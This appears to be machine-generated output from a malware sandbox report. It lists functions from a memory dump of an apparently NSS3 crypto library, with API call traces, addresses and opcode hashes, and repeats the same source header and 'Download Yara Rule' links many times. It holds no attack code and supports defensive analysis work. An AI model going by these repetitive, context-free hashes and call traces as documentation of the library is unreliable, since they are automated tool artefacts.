Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: f9419988c4c902cfec2b487a6d468fe12a4a5fee7101efb6bc41da1c2be2ab97
Instruction ID: f6cbd7f64f9091180235848f5f47e963051256ca1c789085315b220dc20e81c9
Opcode Fuzzy Hash: f9419988c4c902cfec2b487a6d468fe12a4a5fee7101efb6bc41da1c2be2ab97
Instruction Fuzzy Hash: 9E21E571A002149FCB20DF28DC84B9AB7A4EF45358F158979EC199B651E330EC19CBFA

Function 6C62EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C62EE49

Part of subcall function 6C64FAB0: free.MOZGLUE(?,-00000001,?,?,6C5EF673,00000000,00000000), ref: 6C64FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C62EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C62EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C62EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C62EEB3

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: b7fa0b991d501db0e4c5864fc3702a3320de8457e430e969f1c29bb8297a0222
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: E121D8B6A002106BEB118E28DC81EAB77A8EF46719F084174FE049B741E771DC158BF9

Function 6C5F7F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5F7F68

Part of subcall function 6C650FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651000
Part of subcall function 6C650FF0: PR_NewLock.NSS3(?,00000800,6C5EEF74,00000000), ref: 6C651016
Part of subcall function 6C650FF0: PL_InitArenaPool.NSS3(00000000,security,6C5F87ED,00000008,?,00000800,6C5EEF74,00000000), ref: 6C65102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C5F7F7B

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5F7FA7

Part of subcall function 6C64FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C648D2D,?,00000000,?), ref: 6C64FB85
Part of subcall function 6C64FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C64FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C71919C,?), ref: 6C5F7FBB

Part of subcall function 6C64B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7218D0,?), ref: 6C64B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5F7FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C71915C,00000014), ref: 6C5F7FFE

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 677bd14e65946e1d5efc57f9d00dd5a2ee6319241fca83bc6b5bccef5c27cdae
Instruction ID: 355356180b43c586f56719ffb548c9c10df93c86bceef845c9128739d69fc8db
Opcode Fuzzy Hash: 677bd14e65946e1d5efc57f9d00dd5a2ee6319241fca83bc6b5bccef5c27cdae
Instruction Fuzzy Hash: 23116671D002042BF714AA349C40FBB72E8DF4669CF10062DFC69C2B81F720E649C6BA

Function 6C5FBE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C67DC29,?), ref: 6C5FBE64

Part of subcall function 6C650FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651000
Part of subcall function 6C650FF0: PR_NewLock.NSS3(?,00000800,6C5EEF74,00000000), ref: 6C651016
Part of subcall function 6C650FF0: PL_InitArenaPool.NSS3(00000000,security,6C5F87ED,00000008,?,00000800,6C5EEF74,00000000), ref: 6C65102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C67DC29,?), ref: 6C5FBE78

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C67DC29,?), ref: 6C5FBE96

Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C67DC29,?), ref: 6C5FBEBB

Part of subcall function 6C64FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C648D2D,?,00000000,?), ref: 6C64FB85
Part of subcall function 6C64FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C64FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C67DC29,?), ref: 6C5FBEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C67DC29,?), ref: 6C5FBEF3

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 8d8263f502bca81f991bec7e1541bd9991598988b6103489ba7e6897c1451d04
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: EB11E771F002059BEB049B64DC01FAB37A8EF46258F544028EE18EB780EB31D919CBA5

Function 6C644820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C644EB8,?), ref: 6C644884

Part of subcall function 6C648800: TlsGetValue.KERNEL32(?,6C65085A,00000000,?,6C5F8369,?), ref: 6C648821
Part of subcall function 6C648800: TlsGetValue.KERNEL32(?,?,6C65085A,00000000,?,6C5F8369,?), ref: 6C64883D
Part of subcall function 6C648800: EnterCriticalSection.KERNEL32(?,?,?,6C65085A,00000000,?,6C5F8369,?), ref: 6C648856
Part of subcall function 6C648800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C648887
Part of subcall function 6C648800: PR_Unlock.NSS3(?,?,?,?,6C65085A,00000000,?,6C5F8369,?), ref: 6C648899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C644EB8,?,?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C64484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C644EB8,?,?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C64486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6078F8), ref: 6C644899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6448A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6448B8

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: a9bf8a246cd28c19ffce1a2d75b08b67eb0fb2c327a38a4164130c2e93cd0277
Instruction ID: 82371a9e6c88de6c21847ccc31452d626416d44b247759ba8c9d5c13af9e3551
Opcode Fuzzy Hash: a9bf8a246cd28c19ffce1a2d75b08b67eb0fb2c327a38a4164130c2e93cd0277
Instruction Fuzzy Hash: E721F6B2F002409FEF006EA5DC8697677B8EF0A359704C539DE4987A12EB61E818C7E5

Function 6C683C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C685B40: PR_GetIdentitiesLayer.NSS3 ref: 6C685B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C683D3F

Part of subcall function 6C5FBA90: PORT_NewArena_Util.NSS3(00000800,6C683CAF,?), ref: 6C5FBABF
Part of subcall function 6C5FBA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C683CAF,?), ref: 6C5FBAD5
Part of subcall function 6C5FBA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C683CAF,?), ref: 6C5FBB08
Part of subcall function 6C5FBA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C683CAF,?), ref: 6C5FBB1A
Part of subcall function 6C5FBA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C683CAF,?), ref: 6C5FBB3B

PR_EnterMonitor.NSS3(?), ref: 6C683CCB

Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90AB
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90C9
Part of subcall function 6C6B9090: EnterCriticalSection.KERNEL32 ref: 6C6B90E5
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B9116
Part of subcall function 6C6B9090: LeaveCriticalSection.KERNEL32 ref: 6C6B913F

PR_EnterMonitor.NSS3(?), ref: 6C683CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C683CF8
PR_ExitMonitor.NSS3(?), ref: 6C683D15
PR_ExitMonitor.NSS3(?), ref: 6C683D2E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 2573ff1c890da56a667f4f34f9ec194cfb5fdeeffe3231e04be7512cc1d710e6
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 8711C8756126006FE7305E69EC4179BB2F5EF5230CF504538E41A97B20E632F929C76E

Function 6C64FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C64FE08

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C64FE1D

Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C64FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C64FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C64FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C64FE6F

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 28a9c177beb5c4b0c4895443bbc75dd800ade316dc807c7d5692cb5563b1ffdf
Instruction ID: 1ec904b4b8d9265d4a2c7f15c909563a0741cc208ae7967e2976b4ad96622e4c
Opcode Fuzzy Hash: 28a9c177beb5c4b0c4895443bbc75dd800ade316dc807c7d5692cb5563b1ffdf
Instruction Fuzzy Hash: 4011A9B6A002057BEB005F55DC40E5B73D8AF5539EF24C034E91997B12E731D915CB9A

Function 6C6FFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C6FFD9E

Part of subcall function 6C6B9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C5E1A48), ref: 6C6B9BB3
Part of subcall function 6C6B9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5E1A48), ref: 6C6B9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C6FFDB9

Part of subcall function 6C5DA900: TlsGetValue.KERNEL32(00000000,?,6C7514E4,?,6C574DD9), ref: 6C5DA90F
Part of subcall function 6C5DA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C5DA94F

PR_Unlock.NSS3 ref: 6C6FFDD4
PR_Lock.NSS3 ref: 6C6FFDF2
PR_NotifyAllCondVar.NSS3 ref: 6C6FFE0D
PR_Unlock.NSS3 ref: 6C6FFE23

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 4fb45c6b1cd2ba5e259a35c37799c8ec21ec7dc9e4a01d2cd70e8d5c6df3fd07
Instruction ID: e36b1a2db5e1f60fd59231bcb1e164554b69a942e9be90020ae9f32c668c5875
Opcode Fuzzy Hash: 4fb45c6b1cd2ba5e259a35c37799c8ec21ec7dc9e4a01d2cd70e8d5c6df3fd07
Instruction Fuzzy Hash: 090161F6A00201ABDF444F15FC0085677B2BB132697554778E83647BE2EB22ED29C7CA

Function 6C686840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C68AA9B,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C686846

Part of subcall function 6C5E1770: calloc.MOZGLUE(00000001,0000019C,?,6C5E15C2,?,?,?,?,?,00000001,00000040), ref: 6C5E178D

PR_NewMonitor.NSS3(00000000,?,6C68AA9B,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C686855

Part of subcall function 6C648680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C5F55D0,00000000,00000000), ref: 6C64868B
Part of subcall function 6C648680: PR_NewLock.NSS3(00000000,00000000), ref: 6C6486A0
Part of subcall function 6C648680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C6486B2
Part of subcall function 6C648680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C6486C8
Part of subcall function 6C648680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C6486E2
Part of subcall function 6C648680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C6486EC
Part of subcall function 6C648680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C648700

PR_NewMonitor.NSS3(?,6C68AA9B,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C68687D

Part of subcall function 6C5E1770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C5E18DE
Part of subcall function 6C5E1770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C5E18F1

PR_NewMonitor.NSS3(?,6C68AA9B,?,?,?,?,?,?,?,00000000,?,6C6880C1), ref: 6C68688C

Part of subcall function 6C5E1770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C5E18FC
Part of subcall function 6C5E1770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C5E198A

PR_NewLock.NSS3 ref: 6C6868A5

Part of subcall function 6C6B98D0: calloc.MOZGLUE(00000001,00000084,6C5E0936,00000001,?,6C5E102C), ref: 6C6B98E5

PR_NewLock.NSS3 ref: 6C6868B4

Part of subcall function 6C6B98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6B9946
Part of subcall function 6C6B98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5716B7,00000000), ref: 6C6B994E
Part of subcall function 6C6B98D0: free.MOZGLUE(00000000), ref: 6C6B995E

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 98d01f19cf0c3566413dbb64841257c066855eb4520db94178bf176e3b7a90da
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: B501FBB1A12B0786E7916B764C103EB76E45F4678DF50093E856EC6B40EF71D4088BB9

Function 6C5DAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DAFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DAFC4
misuse, xrefs: 6C5DAFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6C5DAF5C
%s at line %d of [%.10s], xrefs: 6C5DAFD3

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 722dfdd81b02f2037d9ebf794524d4b462f7be6a98654b864e46b84d08d299d9
Instruction ID: bdb166ca058af3dd6cf6473c1e73c000738c241e1c00b4d2e3dbb850652aa207
Opcode Fuzzy Hash: 722dfdd81b02f2037d9ebf794524d4b462f7be6a98654b864e46b84d08d299d9
Instruction Fuzzy Hash: A791F2B5A013168FDB04CF6DCC90AAAB7F2BF45314F1A45A8E864AB751D334BD01CB65

Function 6C63FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C63FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C63FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C63FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C63FDDE

Part of subcall function 6C648800: TlsGetValue.KERNEL32(?,6C65085A,00000000,?,6C5F8369,?), ref: 6C648821
Part of subcall function 6C648800: TlsGetValue.KERNEL32(?,?,6C65085A,00000000,?,6C5F8369,?), ref: 6C64883D
Part of subcall function 6C648800: EnterCriticalSection.KERNEL32(?,?,?,6C65085A,00000000,?,6C5F8369,?), ref: 6C648856
Part of subcall function 6C648800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C648887
Part of subcall function 6C648800: PR_Unlock.NSS3(?,?,?,?,6C65085A,00000000,?,6C5F8369,?), ref: 6C648899

Strings

pkcs11:, xrefs: 6C63FC4F

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
